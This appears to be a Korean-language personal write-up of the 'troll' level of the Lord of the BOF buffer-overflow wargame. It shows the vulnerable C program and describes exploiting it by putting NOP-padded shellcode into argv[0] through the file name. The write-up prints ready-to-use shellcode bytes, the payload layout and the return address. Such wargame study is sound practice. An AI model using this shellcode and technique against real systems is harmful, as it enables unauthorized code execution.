/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
스택은 바뀌지가 않는다 ㅋ
argc 개수 제한 때문에 argv[2]에 못 넣고 argv[1]은 초기화된다. 따라서 argv[0]에 shellcode를 넣어야겠다. -> 생각은 했는데 어떻게 넣는지 몰라서 삽질.. 파이썬으로 하면되는데..
[그림 1-3] 보면 실패가 된다.
이걸 찾아보니 파일이름에 "\x2f"가 들어가게되면 그 의미가 " / " 가 되어서 디렉토리 구분인자로 인식되어버리기 때문에 이름을 제대로 바꿀 수가 없다. 그렇기 때문에 "\x2f"가 없는 쉘코드를 사용해야한다.
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 |
구글링해서 위 쉘코드를 가져왔다. /x2f 없음ㅋ
성공!
파일명을 nop와 shellcode로 변경했다. -> argv[0]에 nop와 shellcode를 넣었다.
payload = nop*44 + argv[0] 주소이다.
argv[0] 주소를 찾자!
main을 실행하기전(b *main) break를 걸고 run 한다. -> argv[0] 찾기위해, ebp가 들어가기 전
0xbffffa54가 argv 이다.
0xbffffa54 두 개만 열어 보면 0xbffffb4b와 0x0000000 존재한다. 각 argv[0], argv[1] 이다. argv[1]은 입력하지 않았기 때문에 0 이다.
0xbffffb4b 열어보면 argv[0](파일명) 이 존재한다.
[그림 1-6] 보면 argv[0] 주소는 0xbffffb5c이다.
exploit 해보자!
Segmentation... 아마 argv[0] 주소가 아닌곳으로 들어간거 같다. Core 뒤져봐야한다.. 아 그리고 파일명이 깨져있는데 [그림 1-7] 처럼 파이썬을 사용해야한다.! -> 이것도 삽질함..
argv[0] 주소가 잘못되었으니 argv[0] 값을 찾아보자..\x90 가 100개니까..
찾음 ㅋ payload를 0xbffffa8f로 바꿔보자
tmp 에서 땄다. 디렉토리 이동해서 해보자
성공!
1. 파일 명에 shellcode를 넣을라면 python 쓰자!
2. 파일 명에 \x2f가 들어가면 안된다!
3. 깨진 파일 명은 python을 이용해서 실행하자!